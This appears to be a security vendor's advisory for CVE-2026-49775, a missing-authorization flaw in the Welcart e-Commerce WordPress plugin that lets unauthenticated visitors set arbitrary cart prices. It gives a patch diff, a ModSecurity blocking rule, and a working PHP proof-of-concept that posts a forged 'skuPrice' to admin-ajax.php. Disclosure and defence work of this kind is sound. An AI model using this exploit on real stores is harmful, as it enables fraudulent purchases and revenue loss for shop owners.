Published : June 14, 2026

CVE-2026-49775: Welcart e-Commerce <= 2.11.28 Missing Authorization PoC, Patch Analysis & Rule

CVE ID CVE-2026-49775
Plugin usc-e-shop
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 2.11.28
Patched Version 2.11.29
Disclosed June 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-49775:
This vulnerability in the Welcart e-Commerce plugin for WordPress allows unauthenticated attackers to manipulate cart prices during order creation. The flaw exists in the upCart() method within cart.class.php, where a missing authorization check bypasses price validation. An attacker can set arbitrary product prices by passing a ‘skuPrice’ parameter, potentially reducing item costs to zero or negative values.

The root cause is in the upCart() method at lines 151-163 of cart.class.php. The vulnerable code checked for the presence of the ‘order_action’ POST parameter to determine whether to use the user-supplied price ‘skuPrice’ or calculate the real price via get_realprice(). The patch removes this conditional branch entirely, always forcing the price calculation through get_realprice(). This ensures only validated, database-derived prices are used in the cart session, regardless of request context.

An attacker can exploit this by crafting a POST request to the WordPress AJAX endpoint /wp-admin/admin-ajax.php with action ‘upCart’, including the ‘order_action’ parameter and a custom ‘skuPrice’ value. By setting ‘order_action’ to any truthy value (e.g., ‘1’) and providing a fraudulent low price in ‘skuPrice’, the attacker forces the plugin to accept that price directly into the cart session without validation.

The patch removes the conditional ‘if (isset($_POST[‘order_action’]))’ block that allowed direct price injection. After patching, the code always executes the ‘else’ branch, calling get_realprice() and apply_filters() to derive the correct price. This completely eliminates the bypass path.

Impact is financial and operational. Unauthenticated attackers could purchase products at arbitrarily reduced prices, including zero cost. Successful exploitation leads to direct revenue loss, fraudulent orders, and potential abuse of payment gateway integrations. The CVSS score of 5.3 reflects the severity of this authorization bypass.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff 
--- a/usc-e-shop/classes/cart.class.php
+++ b/usc-e-shop/classes/cart.class.php
@@ -151,12 +151,12 @@
 				$_SESSION['usces_cart'][ $this->serial ]['quant']   = (int) $_POST['quant'][ $index ][ $post_id ][ $sku ];
 				$_SESSION['usces_cart'][ $this->serial ]['advance'] = isset( $_POST['advance'][ $index ][ $post_id ][ $sku ] ) ? $_POST['advance'][ $index ][ $post_id ][ $sku ] : array();

-				if ( isset( $_POST['order_action'] ) ) {
-					$price = (int) $_POST['skuPrice'][ $index ][ $post_id ][ $sku ];
-				} else {
+				// if ( isset( $_POST['order_action'] ) ) {
+				// 	$price = (int) $_POST['skuPrice'][ $index ][ $post_id ][ $sku ];
+				// } else {
 					$price = $this->get_realprice( $post_id, $sku, $_SESSION['usces_cart'][ $this->serial ]['quant'] );
 					$price = apply_filters( 'usces_filter_upCart_price', $price, $this->serial, $index );
-				}
+				// }
 				$_SESSION['usces_cart'][ $this->serial ]['price'] = $price;

 			}
--- a/usc-e-shop/classes/paymentPayPalCP.class.php
+++ b/usc-e-shop/classes/paymentPayPalCP.class.php
@@ -4231,6 +4231,43 @@
 					} else {
 						$pending = false;
 						$amount  = $this->get_latest_amount( $order_id, $tracking_id );
+
+						$latest_log = $this->get_acting_latest_log( $order_id, $tracking_id, 'ALL' );
+						if ( isset( $latest_log['result'] ) && 'COMPLETED' !== $latest_log['result'] && 'PENDING' !== $latest_log['result'] ) {
+							$acting_status = $this->get_acting_status( $order_id, $tracking_id );
+							$class         = ' paypal-' . strtolower( $acting_status );
+							$result       .= '<div class="paypal-settlement-admin' . $class . '">' . __( $acting_status, 'usces' ) . '</div>';
+							$log           = $this->get_entry_log( $tracking_id );
+							if ( isset( $log['entry'] ) && isset( $log['cart'] ) ) {
+								$result .= '<table class="paypal-settlement-admin-table">
+									<tr><th>' . __( 'Transaction amount', 'usces' ) . '</th>
+										<td><input type="tel" class="settlement-amount" value="' . usces_crform( $amount, false, false, 'return', true ) . '" readonly />' . __( usces_crcode( 'return' ), 'usces' ) . '</td>
+									</tr>';
+								if ( empty( $amount ) ) {
+									if ( defined( 'WCEX_DLSELLER' ) && ! empty( $con_id ) ) {
+										$amount = $this->get_continuation_amount( $con_id );
+									} elseif ( defined( 'WCEX_AUTO_DELIVERY' ) && ! empty( $reg_id ) ) {
+										$amount = $this->get_order_amount( $order_id );
+									}
+								}
+								$result .= '
+									<tr><th>' . __( 'Settlement amount', 'usces' ) . '</th>
+										<td><input type="tel" class="settlement-amount amount" id="amount_resettlement" value="' . usces_crform( $amount, false, false, 'return', false ) . '" />' . __( usces_crcode( 'return' ), 'usces' ) . '</td>
+									</tr>
+									</table>';
+								if ( 'paypal_cp' === $acting ) {
+									$result .= '<div class="paypal-settlement-admin-button">
+										<input id="re-authorize-settlement" type="button" class="button" value="' . __( 'AUTHORIZE', 'usces' ) . '" />
+										<input id="re-capture-settlement" type="button" class="button" value="' . __( 'CAPTURE', 'usces' ) . '" />
+									</div>';
+								}
+							}
+							$result        .= $this->settlement_history( $order_id, $tracking_id );
+							$data['result'] = $result;
+							wp_send_json( $data );
+							break;
+						}
+
 						if ( isset( $response_data['intent'] ) && isset( $response_data['purchase_units'] ) ) {
 							$acting_status  = $response_data['intent'];
 							$purchase_units = $response_data['purchase_units'][0];
@@ -6996,15 +7033,19 @@
 				</thead>
 				<tbody class="settlement-history-body">';
 			foreach ( (array) $log_data as $data ) {
+				$log   = usces_unserialize( $data['log'] );
+				$id    = ( isset( $log['id'] ) ) ? $log['id'] : '';
+				$issue = '';
 				if ( 'COMPLETED' !== $data['result'] ) {
 					$class  = ' error';
 					$amount = '';
+					if ( isset( $log['details'][0]['issue'] ) && '' !== $log['details'][0]['issue'] ) {
+						$issue = ' (' . $log['details'][0]['issue'] . ')';
+					}
 				} else {
 					$class  = '';
 					$amount = ( isset( $data['amount'] ) ) ? usces_crform( $data['amount'], false, true, 'return', true ) : '';
 				}
-				$log = usces_unserialize( $data['log'] );
-				$id  = ( isset( $log['id'] ) ) ? $log['id'] : '';
 				if ( isset( $log['purchase_units'] ) ) {
 					$purchase_units = $log['purchase_units'][0];
 					if ( isset( $purchase_units['payments'] ) ) {
@@ -7026,7 +7067,7 @@
 					<td class="transactionid">' . $id . '</td>
 					<td class="status">' . $data['status'] . '</td>
 					<td class="amount">' . $amount . '</td>
-					<td class="result' . $class . '">' . $data['result'] . '</td>
+					<td class="result' . $class . '">' . $data['result'] . $issue . '</td>
 				</tr>';
 				$num--;
 			}
--- a/usc-e-shop/classes/usceshop.class.php
+++ b/usc-e-shop/classes/usceshop.class.php
@@ -5115,7 +5115,7 @@
 				if ( is_array( $_SESSION['usces_member'][ $key ] ) ) {
 					$res[ $key ] = stripslashes_deep( $value );
 				} else {
-					$res[ $key ] = stripslashes( $value );
+					$res[ $key ] = null !== $value ? stripslashes( $value ) : '';
 				}
 			}
 		}
--- a/usc-e-shop/functions/function.php
+++ b/usc-e-shop/functions/function.php
@@ -1830,10 +1830,15 @@

 		case 'paypal':
 			usces_log( 'paypal in ', 'acting_transaction.log' );
-			require_once( $usces->options['settlement_path'] . 'paypal.php' );
-			$results = paypal_check( $usces_paypal_url );
-			remove_action( 'shutdown', array( &$usces, 'lastprocessing' ) );
-			$results['reg_order'] = true;
+			$paypal_file = $usces->options['settlement_path'] . 'paypal.php';
+			if ( file_exists( $paypal_file ) ) {
+				require_once( $paypal_file );
+				$results = paypal_check( $usces_paypal_url );
+				remove_action( 'shutdown', array( &$usces, 'lastprocessing' ) );
+				$results['reg_order'] = true;
+			} else {
+				$results['reg_order'] = true;
+			}
 			break;

 		case 'remise_card':
@@ -3865,6 +3870,35 @@
 		case 2: //Text.
 			$html .= "n<input name='itemOption[{$post_id}][{$sku}][{$optcode}]' type='text' id='itemOption[{$post_id}][{$sku}][{$optcode}]' class='iopt_text' onKeyDown="if (event.keyCode == 13) {return false;}" value="" . esc_attr( $session_value ) . "" />n";
 			break;
+		case 3: //Radio-button.
+			$selects = explode( "n", $opt['value'] );
+			$i       = 0;
+			foreach ( (array) $selects as $v ) {
+				$v = trim( $v );
+				if ( $v === $session_value ) {
+					$checked = ' checked="checked"';
+				} else {
+					$checked = '';
+				}
+				$html .= "t<label for='itemOption[{$post_id}][{$sku}][{$optcode}]{$i}' class='iopt_radio_label'><input name='itemOption[{$post_id}][{$sku}][{$optcode}]' id='itemOption[{$post_id}][{$sku}][{$optcode}]{$i}' class='iopt_radio' type='radio' value='" . urlencode( $v ) . "'{$checked} onKeyDown="if (event.keyCode == 13) {return false;}">" . esc_html( $v ) . "</label>n";
+				$i++;
+			}
+			break;
+		case 4: //Check-box.
+			$selects     = explode( "n", $opt['value'] );
+			$session_arr = is_array( $session_value ) ? $session_value : array();
+			$i           = 0;
+			foreach ( (array) $selects as $v ) {
+				$v = trim( $v );
+				if ( in_array( $v, $session_arr, true ) ) {
+					$checked = ' checked="checked"';
+				} else {
+					$checked = '';
+				}
+				$html .= "t<label for='itemOption[{$post_id}][{$sku}][{$optcode}]{$i}' class='iopt_checkbox_label'><input name='itemOption[{$post_id}][{$sku}][{$optcode}][]' id='itemOption[{$post_id}][{$sku}][{$optcode}]{$i}' class='iopt_checkbox' type='checkbox' value='" . urlencode( $v ) . "'{$checked} onKeyDown="if (event.keyCode == 13) {return false;}">" . esc_html( $v ) . "</label>n";
+				$i++;
+			}
+			break;
 		case 5: //Text-area.
 			$html .= "n<textarea name='itemOption[{$post_id}][{$sku}][{$optcode}]' id='itemOption[{$post_id}][{$sku}][{$optcode}]' class='iopt_textarea'>" . esc_attr( $session_value ) . "</textarea>n";
 			break;
--- a/usc-e-shop/usc-e-shop.php
+++ b/usc-e-shop/usc-e-shop.php
@@ -3,7 +3,7 @@
  * Plugin Name: Welcart e-Commerce
  * Plugin URI: https://www.welcart.com/
  * Description: Welcart builds the management system with a net shop on WordPress.
- * Version: 2.11.28
+ * Version: 2.11.29
  * Author: Welcart Inc.
  * Author URI: https://www.welcart.com/
  * License: GPLv2 or later
@@ -16,7 +16,7 @@
  * @package Welcart
  */

-define( 'USCES_VERSION', '2.11.28.2604011' );
+define( 'USCES_VERSION', '2.11.29.2606031' );
 define( 'USCES_DB_ACCESS', '1.5' );
 define( 'USCES_DB_MEMBER', '1.1' );
 define( 'USCES_DB_MEMBER_META', '1.1' );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity 
# Atomic Edge WAF Rule - CVE-2026-49775
# Blocks unauthenticated price manipulation via the 'upCart' AJAX action
# Targets: POST to /wp-admin/admin-ajax.php with action=upCart and presence of order_action + skuPrice
SecRule REQUEST_FILENAME "@beginsWith /wp-admin/admin-ajax.php" 
  "id:20261975,phase:2,deny,status:403,chain,msg:'CVE-2026-49775: Welcart e-Commerce price manipulation attempt',severity:'CRITICAL',tag:'CVE-2026-49775',tag:'wordpress',tag:'welcart'"
  SecRule ARGS_POST:action "@streq upCart" 
    "chain"
    SecRule ARGS_POST:order_action "@rx .+" 
      "chain"
      SecRule ARGS_POST:skuPrice "@rx .+" 
        ""

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-49775 - Welcart e-Commerce <= 2.11.28 - Missing Authorization

// Set target WordPress site URL and target product details
$target_url = 'http://localhost/wordpress'; // CHANGE THIS
$post_id = 1; // Target product ID
$sku = 'default'; // SKU string for the product
$desired_price = '0.01'; // Fraudulent low price

// Step 1: Initialize cURL session
$ch = curl_init();

// Step 2: Build the AJAX request mimicking the vulnerable 'upCart' action
// The key vulnerability: passing 'order_action' forces use of 'skuPrice'
$post_data = array(
    'action'       => 'upCart',
    'order_action' => '1', // Triggers vulnerable code path
    'quant'        => array(0 => array($post_id => array($sku => 1))),
    'skuPrice'     => array(0 => array($post_id => array($sku => $desired_price)))
);

// Step 3: Send the request to the WordPress AJAX handler
curl_setopt_array($ch, array(
    CURLOPT_URL            => $target_url . '/wp-admin/admin-ajax.php',
    CURLOPT_POST           => true,
    CURLOPT_POSTFIELDS     => http_build_query($post_data),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIE         => '', // Unauthenticated; session will be tracked via cookies
    CURLOPT_HEADER         => false,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_FOLLOWLOCATION => true
));

// Step 4: Execute and check response
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code === 200 && !empty($response)) {
    echo "[+] Exploit sent successfully.n";
    echo "[+] Target URL: $target_urln";
    echo "[+] Product ID: $post_idn";
    echo "[+] SKU: $skun";
    echo "[+] Injected price: $desired_pricen";
    // Response content may include HTML or JSON; parse as needed
    if (strpos($response, 'error') === false) {
        echo "[+] Potential success: no error detected. Check cart or order for manipulated price.n";
    } else {
        echo "[!] Possible error: " . substr($response, 0, 200) . "n";
    }
} else {
    echo "[-] Exploit failed or server returned HTTP $http_coden";
    echo "[!] Response: " . substr($response, 0, 200) . "n";
}

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School